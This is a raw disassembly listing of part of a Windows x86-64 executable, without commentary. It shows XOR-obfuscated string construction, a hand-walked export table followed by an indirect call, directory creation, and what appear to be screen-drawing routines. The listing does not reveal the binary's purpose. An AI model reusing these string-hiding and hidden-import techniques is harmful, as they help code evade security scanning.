mov rdx, qword [rax + 0x10]
jb 0x14005664c
mov rax, qword [rax]
cmp qword [rbp + 0x8e8], 0x10
lea rcx, [rbp + 0x8d0]
mov r8, qword [rbp + 0x8e0]
cmovae rcx, qword [rbp + 0x8d0]
cmp r8, rdx
jne 0x140056681
mov rdx, rax
call fcn.1400b75e0
test eax, eax
jne 0x140056681
movzx ebx, r15b
jmp 0x140056683
xor bl, bl
lea rcx, [rbp + 0x1660]
call fcn.1400096e0
mov rdx, qword [rbp + 0xd98]
cmp rdx, 0x10
jb 0x1400566d0
mov rcx, qword [rbp + 0xd80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400566cb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
xor eax, eax
mov qword [rbp + 0xd98], 0xf
mov qword [rbp + 0xd90], rax
mov byte [rbp + 0xd80], al
test bl, bl
je 0x1400566fa
mov byte [0x1402a78fb], r15b
jmp 0x1400554db
movabs rcx, 0x374a6a37f7e7098
mov qword [rbp + 0x2d0], r14
mov qword [rbp + 0x960], rcx
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x2d8], rdi
movabs rcx, 0x4b0e5fc0c366393
movdqa xmm0, xmmword [rbp + 0x2d0]
mov qword [rbp + 0x968], rcx
pxor xmm0, xmmword [rbp + 0x960]
mov qword [rbp + 0xda0], rax
mov qword [rbp + 0xdb0], rax
lea rax, [rbp + 0x960]
movdqa xmmword [rbp + 0x960], xmm0
mov qword [rbp + 0xdb8], 0xf
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140056770
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0xda0]
call fcn.14000c110
lea r9, [0x1402a7460]
lea r8, [0x1402a7440]
lea rdx, [rbp + 0xda0]
lea rcx, [rbp + 0x1680]
call fcn.14004eb60
cmp qword [rax + 0x18], 0x10
mov rdx, qword [rax + 0x10]
jb 0x1400567bc
mov rax, qword [rax]
cmp qword [rbp + 0x8e8], 0x10
lea rcx, [rbp + 0x8d0]
mov r8, qword [rbp + 0x8e0]
cmovae rcx, qword [rbp + 0x8d0]
cmp r8, rdx
jne 0x1400567f1
mov rdx, rax
call fcn.1400b75e0
test eax, eax
jne 0x1400567f1
movzx ebx, r15b
jmp 0x1400567f3
xor bl, bl
lea rcx, [rbp + 0x1680]
call fcn.1400096e0
mov rdx, qword [rbp + 0xdb8]
cmp rdx, 0x10
jb 0x140056840
mov rcx, qword [rbp + 0xda0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005683b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
xor ecx, ecx
mov qword [rbp + 0xdb8], 0xf
mov qword [rbp + 0xdb0], rcx
mov byte [rbp + 0xda0], cl
test bl, bl
je 0x14005686a
mov byte [0x1402a78fc], r15b
jmp 0x1400554db
cmp qword [rbp + 0x8e8], 0x10
lea rdx, [rbp + 0x8d0]
mov r8, qword [rbp + 0x8e0]
lea rcx, [0x1402a7508]
cmovae rdx, qword [rbp + 0x8d0]
call fcn.14000c110
cmp byte [0x1402a78f8], r15b
mov byte [0x1402a78fd], r15b
je 0x1400554db
movabs rax, 0x1328a2887f6e3ed2
mov qword [rbp + 0x2e0], r14
mov qword [rbp + 0x970], rax
xor ebx, ebx
movabs rax, 0x4b0e5fc0c367f95
mov qword [rbp + 0x2e8], rdi
movdqa xmm0, xmmword [rbp + 0x2e0]
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x978], rax
lea rax, [rbp + 0x970]
pxor xmm0, xmmword [rbp + 0x970]
movdqa xmmword [rbp + 0x970], xmm0
mov qword [rbp + 0xe40], rbx
mov qword [rbp + 0xe50], rbx
mov qword [rbp + 0xe58], 0xf
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140056920
lea rdx, [rbp + 0x970]
lea rcx, [rbp + 0xe40]
call fcn.140011a10
movabs rax, 0x7106c3fc1e0a3ed2
mov qword [rbp + 0x988], rdi
mov qword [rbp + 0x980], rax
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x2f0], r14
lea rax, [rbp + 0x980]
mov qword [rbp + 0x2f8], rdi
movdqa xmm0, xmmword [rbp + 0x2f0]
pxor xmm0, xmmword [rbp + 0x980]
movdqa xmmword [rbp + 0x980], xmm0
mov qword [rbp + 0x900], rbx
mov qword [rbp + 0x910], rbx
mov qword [rbp + 0x918], 0xf
inc r8
cmp byte [rax + r8], bl
jne 0x1400569a1
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0x900]
call fcn.140011a10
lea rcx, [rbp + 0x900]
call fcn.14004a8a0
test al, al
jne 0x1400569ec
cmp qword [rbp + 0x918], 0x10
lea rcx, [rbp + 0x900]
cmovae rcx, qword [rbp + 0x900]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov r9d, 0x40
mov dword [rsp + 0x20], r15d
lea rdx, [rbp + 0xe40]
lea rcx, [rbp + 0x7c0]
lea r8d, [r9 - 0x3e]
call fcn.14004f170
cmp qword [rbp + 0x848], rbx
je 0x140056e75
movabs rax, 0x174cfab47c6826b4
mov qword [rbp + 0x1b90], r14
mov qword [rbp + 0xdc0], rax
movabs rcx, 0x4d786ffc2a5211fc
movabs rax, 0x7e88909f40715793
mov qword [rbp + 0xdd0], rcx
mov qword [rbp + 0xdc8], rax
mov r8, 0xffffffffffffffff
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x1b98], rdi
movdqa xmm0, xmmword [rbp + 0x1b90]
pxor xmm0, xmmword [rbp + 0xdc0]
mov qword [rbp + 0xdd8], rax
movdqa xmm1, xmmword [rbp + 0xdd0]
mov qword [rbp + 0x1ba8], rax
lea rax, [rbp + 0xdc0]
mov qword [rbp + 0x1ba0], rcx
pxor xmm1, xmmword [rbp + 0x1ba0]
movdqa xmmword [rbp + 0xdd0], xmm1
movdqa xmmword [rbp + 0xdc0], xmm0
mov qword [rbp + 0xe20], rbx
mov qword [rbp + 0xe30], rbx
mov qword [rbp + 0xe38], 0xf
inc r8
cmp byte [rax + r8], bl
jne 0x140056ad2
lea rdx, [rbp + 0xdc0]
lea rcx, [rbp + 0xe20]
call fcn.14000c110
movabs rax, 0x28748fc97738288e
mov qword [rbp + 0x1aa0], r14
mov qword [rbp + 0xea0], rax
movabs rdx, 0x8610dbfc831a11fc
movabs rax, 0x4dfeaa8d750352cc
mov qword [rbp + 0xec0], rdx
mov qword [rbp + 0xea8], rax
movabs rcx, 0x19bafdfc714611fc
movabs rax, 0x7e1d3eb15b6325ca
mov qword [rbp + 0xec8], rcx
mov qword [rbp + 0xeb0], rax
mov r8, 0xffffffffffffffff
movabs rax, 0x813f70a49f2c50bb
mov qword [rbp + 0x1aa8], rdi
movdqa xmm0, xmmword [rbp + 0x1aa0]
pxor xmm0, xmmword [rbp + 0xea0]
mov qword [rbp + 0xeb8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm1, xmmword [rbp + 0xeb0]
mov qword [rbp + 0x1ab0], rax
movabs rax, 0xf57a01fcf21e11fc
movdqa xmmword [rbp + 0xea0], xmm0
movdqa xmm0, xmmword [rbp + 0xec0]
mov qword [rbp + 0x1ab8], rax
lea rax, [rbp + 0xea0]
pxor xmm1, xmmword [rbp + 0x1ab0]
mov qword [rbp + 0x1ac0], rdx
mov qword [rbp + 0x1ac8], rcx
pxor xmm0, xmmword [rbp + 0x1ac0]
movdqa xmmword [rbp + 0xeb0], xmm1
movdqa xmmword [rbp + 0xec0], xmm0
mov qword [rbp + 0xe00], rbx
mov qword [rbp + 0xe10], rbx
mov qword [rbp + 0xe18], 0xf
inc r8
cmp byte [rax + r8], bl
jne 0x140056c01
lea rdx, [rbp + 0xea0]
lea rcx, [rbp + 0xe00]
call fcn.14000c110
cmp qword [0x1402a74e0], 0x10
lea rdx, [0x1402a74c8]
mov qword [rbp + 0xde0], rbx
mov r8, 0xffffffffffffffff
cmovae rdx, qword [0x1402a74c8]
mov qword [rbp + 0xdf0], rbx
mov qword [rbp + 0xdf8], 0xf
inc r8
cmp byte [rdx + r8], bl
jne 0x140056c54
lea rcx, [rbp + 0xde0]
call fcn.14000c110
lea r9, [rbp + 0xe20]
lea r8, [rbp + 0xe00]
lea rdx, [rbp + 0xde0]
lea rcx, [rbp + 0x1430]
call fcn.14004eb60
mov rdx, qword [rbp + 0xdf8]
cmp rdx, 0x10
jb 0x140056ccb
mov rcx, qword [rbp + 0xde0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056cc6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
mov rdx, qword [rbp + 0xe18]
mov qword [rbp + 0xdf0], rbx
mov qword [rbp + 0xdf8], 0xf
mov byte [rbp + 0xde0], bl
cmp rdx, 0x10
jb 0x140056d24
mov rcx, qword [rbp + 0xe00]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056d1f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
mov rdx, qword [rbp + 0xe38]
mov qword [rbp + 0xe10], rbx
mov qword [rbp + 0xe18], 0xf
mov byte [rbp + 0xe00], bl
cmp rdx, 0x10
jb 0x140056d7d
mov rcx, qword [rbp + 0xe20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056d78
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
movabs rax, 0x7106c3fc1e0a11f6
mov qword [rbp + 0x998], rdi
mov qword [rbp + 0x990], rax
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x300], r14
lea rax, [rbp + 0x990]
mov qword [rbp + 0x308], rdi
movdqa xmm0, xmmword [rbp + 0x300]
pxor xmm0, xmmword [rbp + 0x990]
movdqa xmmword [rbp + 0x990], xmm0
mov qword [rbp + 0xe30], rbx
mov qword [rbp + 0xe38], 0xf
mov byte [rbp + 0xe20], bl
inc r8
cmp byte [rax + r8], bl
jne 0x140056de1
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x1430]
call fcn.140011a10
cmp qword [rbp + 0x1448], 0x10
lea rdx, [rbp + 0x1430]
mov r8, qword [rbp + 0x1440]
lea rcx, [rbp + 0x7c0]
cmovae rdx, qword [rbp + 0x1430]
call fcn.140042080
lea rcx, [rbp + 0x7c8]
call fcn.14004a7b0
test rax, rax
jne 0x140056e69
mov rax, qword [rbp + 0x7c0]
lea r9, [rbp + 0x7c0]
mov edx, 6
movsxd rcx, dword [rax + 4]
mov eax, 2
add rcx, r9
cmp qword [rcx + 0x48], rbx
cmovne edx, eax
xor r8d, r8d
or edx, dword [rcx + 0x10]
call fcn.14003c930
lea rcx, [rbp + 0x1430]
call fcn.1400096e0
lea rcx, [rbp + 0x7c0]
call fcn.140042d80
mov rdx, qword [rbp + 0x918]
cmp rdx, 0x10
jb 0x140056ec2
mov rcx, qword [rbp + 0x900]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056ebd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
mov rdx, qword [rbp + 0xe58]
mov qword [rbp + 0x910], rbx
mov qword [rbp + 0x918], 0xf
mov byte [rbp + 0x900], bl
cmp rdx, 0x10
jb 0x140056f1b
mov rcx, qword [rbp + 0xe40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056f16
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
mov qword [rbp + 0xe50], rbx
mov qword [rbp + 0xe58], 0xf
mov byte [rbp + 0xe40], bl
jmp 0x1400554dd
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x16c0]
add rbx, r10
call fcn.1400963c0
cmp qword [rax + 0x18], 0x10
jb 0x140056f6a
mov rax, qword [rax]
movabs rdx, 0x19bafdfc714611fc
mov qword [rbp + 0x1b00], r14
mov qword [rbp + 0x1028], rdx
movabs rcx, 0x367b78f3e7d7eb2
mov qword [rbp + 0x1000], rcx
movabs rdi, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x1b28], rdx
movabs rcx, 0x65d7c59964423188
mov qword [rbp + 0x1008], rcx
lea rdx, [rbp + 0x1000]
movabs rcx, 0x6d1c01bd0a7c7491
mov qword [rbp + 0x1b08], rdi
movdqa xmm0, xmmword [rbp + 0x1b00]
mov r9d, 0x1000
pxor xmm0, xmmword [rbp + 0x1000]
mov r8, rax
mov qword [rbp + 0x1010], rcx
movabs rcx, 0xc73c218f817b638c
mov qword [rbp + 0x1018], rcx
movabs rcx, 0x8610dbfc831a11d2
movdqa xmm1, xmmword [rbp + 0x1010]
mov qword [rbp + 0x1020], rcx
movabs rcx, 0x4d786ffc2a5211fc
mov qword [rbp + 0x1b10], rcx
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0x1b18], rcx
movabs rcx, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x1b10]
movdqa xmmword [rbp + 0x1000], xmm0
movdqa xmm0, xmmword [rbp + 0x1020]
mov qword [rbp + 0x1b20], rcx
xor ecx, ecx
pxor xmm0, xmmword [rbp + 0x1b20]
movdqa xmmword [rbp + 0x1020], xmm0
movdqa xmmword [rbp + 0x1010], xmm1
call rbx
lea rcx, [rbp + 0x16c0]
call fcn.1400096e0
cmp dword [rbp + 0x1d8], 0
je 0x14005a195
movaps xmm0, xmmword [rbp + 0x1d0]
lea rcx, [rbp + 0x1a50]
movdqa xmmword [rbp + 0x1a50], xmm0
call fcn.140099b38
test eax, eax
jne 0x14005a163
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1d0], xmm0
movss xmm6, dword [0x1402a7900]
lea rdx, [rbp + 0xc90]
addss xmm6, dword [0x1400fea1c]
movabs rax, 0x4b75a68e777a69b9
mov qword [rbp + 0x220], r14
mov qword [rbp + 0xc90], rax
lea rcx, [rbp + 0x598]
movabs rax, 0x4b0e5fc0c3611dc
mov qword [rbp + 0x228], rdi
movdqa xmm0, xmmword [rbp + 0x220]
xor r9d, r9d
mov qword [rbp + 0xc98], rax
xor r8d, r8d
pxor xmm0, xmmword [rbp + 0xc90]
movdqa xmmword [rbp + 0xc90], xmm0
movss dword [rsp + 0x20], xmm8
call fcn.14005ef80
mov qword [rbp + 0x200], r14
lea rcx, [rbp + 0x658]
mov qword [rbp + 0x208], rdi
movss xmm0, dword [rax]
movabs rax, 0x5175a68e777a69b9
mulss xmm0, xmm7
mov qword [rbp + 0xc80], rax
movabs rax, 0x4b0e5fc2c0c7f95
mov qword [rbp + 0xc88], rax
subss xmm6, xmm0
movss xmm0, dword [0x1402a7904]
addss xmm0, xmm11
movss dword [rbp + 0x130], xmm6
movss dword [rbp + 0x134], xmm0
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp + 0xc80]
movdqa xmmword [rbp + 0xc80], xmm0
movaps xmm0, xmmword [0x1400fea70]
movups xmmword [rbp + 0x658], xmm0
call fcn.14005fee0
xor ecx, ecx
lea r9, [rbp + 0xc80]
mov qword [rsp + 0x20], rcx
lea rdx, [rbp + 0x130]
mov rcx, rsi
mov r8d, eax
call fcn.140073e70
mov rbx, qword [rbp + 0x178]
add rbx, 0x40
cmp qword [rbx + 0x18], 0x10
jb 0x1400571fd
mov rbx, qword [rbx]
movaps xmm0, xmmword [0x1400fead0]
lea rcx, [rbp + 0x668]
movups xmmword [rbp + 0x668], xmm0
call fcn.14005fee0
mov rdx, qword [rbp + 0x178]
mov edi, eax
add rdx, 0x40
cmp qword [rdx + 0x18], 0x10
jb 0x14005722e
mov rdx, qword [rdx]
movss xmm6, dword [0x1402a7900]
lea rcx, [rbp + 0x5a0]
xor r9d, r9d
movss dword [rsp + 0x20], xmm8
xor r8d, r8d
addss xmm6, xmm12
call fcn.14005ef80
mov r9, rbx
lea rdx, [rbp + 0x138]
mov r8d, edi
mov rcx, rsi
movss xmm0, dword [rax]
xor eax, eax
mulss xmm0, xmm7
mov qword [rsp + 0x20], rax
subss xmm6, xmm0
movss xmm0, dword [0x1402a7904]
addss xmm0, xmm11
movss dword [rbp + 0x138], xmm6
movss dword [rbp + 0x13c], xmm0
call fcn.140073e70
lea rcx, [rbp + 0x140]
mov dword [rbp + 0x140], 0x430c0000
mov dword [rbp + 0x144], 0x43870000
call fcn.14006d5d0
movabs rdi, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x210], r14
mov qword [rbp + 0xb88], rdi
lea rdx, [rbp + 0x1a0]
movabs rax, 0x7172b6b33e6d7eb0
mov qword [rbp + 0x218], rdi
movdqa xmm0, xmmword [rbp + 0x210]
lea rcx, [rbp + 0xb80]
mov qword [rbp + 0xb80], rax
pxor xmm0, xmmword [rbp + 0xb80]
movdqa xmmword [rbp + 0xb80], xmm0
mov dword [rbp + 0x1a0], 0x439d8000
mov dword [rbp + 0x1a4], 0x41f00000
call fcn.140083620
mov ecx, dword [0x1402a78f4]
test al, al
mov ebx, 0
cmovne ecx, ebx
mov dword [0x1402a78f4], ecx
jmp 0x140057342
xor ebx, ebx
call fcn.14006a0d0
mov r14, qword [rbp + 0x180]
mov esi, ebx
mov rbx, qword [rbp + 0x178]
sub r14, rbx
sar r14, 5
test r14d, r14d
jle 0x140057c80
nop word [rax + rax]
cmp r14d, 3
jne 0x14005a0ce
movabs rax, 0x3526f2dc6a7964ae
mov qword [rbp + 0x368], rdi
mov qword [rbp + 0xb40], rax
lea rdx, [rbp + 0xb40]
movabs rax, 0x4b0e5fc0c36689d
mov rcx, rbx
mov qword [rbp + 0xb48], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x360], rax
movdqa xmm0, xmmword [rbp + 0x360]
pxor xmm0, xmmword [rbp + 0xb40]
movdqa xmmword [rbp + 0xb40], xmm0
call fcn.14004ee10
test al, al
je 0x1400575bb
mov qword [rbp + 0xb38], rdi
lea rdx, [rbp + 0xb30]
movabs rax, 0x1563b79f7b7e7498
mov qword [rbp + 0x3f8], rdi
mov qword [rbp + 0xb30], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x3f0], rax
movdqa xmm0, xmmword [rbp + 0x3f0]
pxor xmm0, xmmword [rbp + 0xb30]
movdqa xmmword [rbp + 0xb30], xmm0
call fcn.14004ee10
test al, al
jne 0x1400584fe
movabs rax, 0x567a78c6b2a7f93
lea rdx, [rbp + 0xb20]
mov qword [rbp + 0xb20], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x4b0e5fc0c361199
mov qword [rbp + 0xb28], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x410], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x418], rax
movdqa xmm0, xmmword [rbp + 0x410]
pxor xmm0, xmmword [rbp + 0xb20]
movdqa xmmword [rbp + 0xb20], xmm0
call fcn.14004ee10
test al, al
jne 0x1400582ae
movabs rax, 0x1563af9e7f797898
lea rdx, [rbp + 0xb10]
mov qword [rbp + 0xb10], rax
movabs rcx, 0x7106c3fc1e0a11fc
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x420], rcx
mov qword [rbp + 0xb18], rax
lea rcx, [rbx + 0x20]
mov qword [rbp + 0x428], rax
movdqa xmm0, xmmword [rbp + 0x420]
pxor xmm0, xmmword [rbp + 0xb10]
movdqa xmmword [rbp + 0xb10], xmm0
call fcn.14004ee10
test al, al
jne 0x140058053
movabs rax, 0x565a6887b6e7f89
lea rdx, [rbp + 0xb00]
mov qword [rbp + 0xb00], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x4b0e5fc0c367599
mov qword [rbp + 0xb08], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x1f0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x1f8], rax
movdqa xmm0, xmmword [rbp + 0x1f0]
pxor xmm0, xmmword [rbp + 0xb00]
movdqa xmmword [rbp + 0xb00], xmm0
call fcn.14004ee10
test al, al
je 0x140057ec7
mov byte [0x1402a7920], r15b
movabs rdi, 0x4b0e5fc0c3611fc
mov byte [0x1402a7921], 0
mov byte [0x1402a7922], 0
mov byte [0x1402a7923], 0
movabs rax, 0x3526f4dc6a7964ae
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0xc70], rax
lea rdx, [rbp + 0xc70]
movabs rax, 0x4b0e5fc0c45689d
mov rcx, rbx
mov qword [rbp + 0xc78], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x1e0], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp + 0xc70]
movdqa xmmword [rbp + 0xc70], xmm0
call fcn.14004ee10
test al, al
je 0x1400577fc
mov qword [rbp + 0xc68], rdi
lea rdx, [rbp + 0xc60]
movabs rax, 0x1563b79f7b7e7498
mov qword [rbp + 0x4c8], rdi
mov qword [rbp + 0xc60], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x4c0], rax
movdqa xmm0, xmmword [rbp + 0x4c0]
pxor xmm0, xmmword [rbp + 0xc60]
movdqa xmmword [rbp + 0xc60], xmm0
call fcn.14004ee10
test al, al
jne 0x140058d7e
movabs rax, 0x567a78c6b2a7f93
lea rdx, [rbp + 0xc50]
mov qword [rbp + 0xc50], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x4b0e5fc0c361199
mov qword [rbp + 0xc58], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x4b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x4b8], rax
movdqa xmm0, xmmword [rbp + 0x4b0]
pxor xmm0, xmmword [rbp + 0xc50]
movdqa xmmword [rbp + 0xc50], xmm0
call fcn.14004ee10
test al, al
jne 0x140058b2e
movabs rax, 0x1563af9e7f797898
lea rdx, [rbp + 0xc40]
mov qword [rbp + 0xc40], rax
movabs rcx, 0x7106c3fc1e0a11fc
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x4a0], rcx
mov qword [rbp + 0xc48], rax
lea rcx, [rbx + 0x20]
mov qword [rbp + 0x4a8], rax
movdqa xmm0, xmmword [rbp + 0x4a0]
pxor xmm0, xmmword [rbp + 0xc40]
movdqa xmmword [rbp + 0xc40], xmm0
call fcn.14004ee10
test al, al
jne 0x1400588d2
movabs rax, 0x565a6887b6e7f89
lea rdx, [rbp + 0xc30]
mov qword [rbp + 0xc30], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x4b0e5fc0c367599
mov qword [rbp + 0xc38], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x490], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x498], rax
movdqa xmm0, xmmword [rbp + 0x490]
pxor xmm0, xmmword [rbp + 0xc30]
movdqa xmmword [rbp + 0xc30], xmm0
call fcn.14004ee10
test al, al
je 0x14005874e
mov byte [0x1402a7920], 0
movabs rdi, 0x4b0e5fc0c3611fc
mov byte [0x1402a7921], r15b
mov byte [0x1402a7922], 0
mov byte [0x1402a7923], 0
movabs rax, 0x5133f2dc6a7964ae
mov qword [rbp + 0x488], rdi
mov qword [rbp + 0xc20], rax
lea rdx, [rbp + 0xc20]
movabs rax, 0x4b0e5fc7f4f70b8
mov rcx, rbx
mov qword [rbp + 0xc28], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x480], rax
movdqa xmm0, xmmword [rbp + 0x480]
pxor xmm0, xmmword [rbp + 0xc20]
movdqa xmmword [rbp + 0xc20], xmm0
call fcn.14004ee10
test al, al
je 0x140057a3d
mov qword [rbp + 0xc08], rdi
lea rdx, [rbp + 0xc00]
movabs rax, 0x1563b79f7b7e7498
mov qword [rbp + 0x478], rdi
mov qword [rbp + 0xc00], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x470], rax
movdqa xmm0, xmmword [rbp + 0x470]
pxor xmm0, xmmword [rbp + 0xc00]
movdqa xmmword [rbp + 0xc00], xmm0
call fcn.14004ee10
test al, al
jne 0x1400595fe
movabs rax, 0x567a78c6b2a7f93
lea rdx, [rbp + 0xbf0]
mov qword [rbp + 0xbf0], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x4b0e5fc0c361199
mov qword [rbp + 0xbf8], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x460], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x468], rax
movdqa xmm0, xmmword [rbp + 0x460]
pxor xmm0, xmmword [rbp + 0xbf0]
movdqa xmmword [rbp + 0xbf0], xmm0
call fcn.14004ee10
test al, al
jne 0x1400593ae
movabs rax, 0x1563af9e7f797898
lea rdx, [rbp + 0xbe0]
mov qword [rbp + 0xbe0], rax
movabs rcx, 0x7106c3fc1e0a11fc
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x450], rcx
mov qword [rbp + 0xbe8], rax
lea rcx, [rbx + 0x20]
mov qword [rbp + 0x458], rax
movdqa xmm0, xmmword [rbp + 0x450]
pxor xmm0, xmmword [rbp + 0xbe0]
movdqa xmmword [rbp + 0xbe0], xmm0
call fcn.14004ee10
test al, al
jne 0x140059152
movabs rax, 0x565a6887b6e7f89
lea rdx, [rbp + 0xbd0]
mov qword [rbp + 0xbd0], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x4b0e5fc0c367599
mov qword [rbp + 0xbd8], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x440], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x448], rax
movdqa xmm0, xmmword [rbp + 0x440]
pxor xmm0, xmmword [rbp + 0xbd0]
movdqa xmmword [rbp + 0xbd0], xmm0
call fcn.14004ee10
test al, al
je 0x140058fce
mov byte [0x1402a7920], 0
movabs rdi, 0x4b0e5fc0c3611fc
mov byte [0x1402a7921], 0
mov byte [0x1402a7922], r15b
mov byte [0x1402a7923], 0
movabs rax, 0x5136f0dc6a7964ae
mov qword [rbp + 0x438], rdi
mov qword [rbp + 0xbc0], rax
lea rdx, [rbp + 0xbc0]
movabs rax, 0x4b0e5fc7f4f7098
mov rcx, rbx
mov qword [rbp + 0xbc8], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x430], rax
movdqa xmm0, xmmword [rbp + 0x430]
pxor xmm0, xmmword [rbp + 0xbc0]
movdqa xmmword [rbp + 0xbc0], xmm0
call fcn.14004ee10
test al, al
je 0x140057c75
mov qword [rbp + 0xc18], rdi
lea rdx, [rbp + 0xc10]
movabs rax, 0x1563b79f7b7e7498
mov qword [rbp + 0x1a38], rdi
mov qword [rbp + 0xc10], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x1a30], rax
movdqa xmm0, xmmword [rbp + 0x1a30]
pxor xmm0, xmmword [rbp + 0xc10]
movdqa xmmword [rbp + 0xc10], xmm0
call fcn.14004ee10
test al, al
jne 0x140059e7e
movabs rax, 0x567a78c6b2a7f93
lea rdx, [rbp + 0xbb0]
mov qword [rbp + 0xbb0], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x4b0e5fc0c361199
mov qword [rbp + 0xbb8], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x1a10], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x1a18], rax
movdqa xmm0, xmmword [rbp + 0x1a10]
pxor xmm0, xmmword [rbp + 0xbb0]
movdqa xmmword [rbp + 0xbb0], xmm0
call fcn.14004ee10
test al, al
jne 0x140059c2e
movabs rax, 0x1563af9e7f797898
lea rdx, [rbp + 0xba0]
mov qword [rbp + 0xba0], rax
movabs rcx, 0x7106c3fc1e0a11fc
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19f0], rcx
mov qword [rbp + 0xba8], rax
lea rcx, [rbx + 0x20]
mov qword [rbp + 0x19f8], rax
movdqa xmm0, xmmword [rbp + 0x19f0]
pxor xmm0, xmmword [rbp + 0xba0]
movdqa xmmword [rbp + 0xba0], xmm0
call fcn.14004ee10
test al, al
jne 0x1400599d2
movabs rax, 0x565a6887b6e7f89
lea rdx, [rbp + 0xb90]
mov qword [rbp + 0xb90], rax
lea rcx, [rbx + 0x20]
movabs rax, 0x4b0e5fc0c367599
mov qword [rbp + 0xb98], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x20], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0xb90]
movdqa xmmword [rbp + 0xb90], xmm0
call fcn.14004ee10
test al, al
je 0x14005984e
mov byte [0x1402a7920], 0
movabs rdi, 0x4b0e5fc0c3611fc
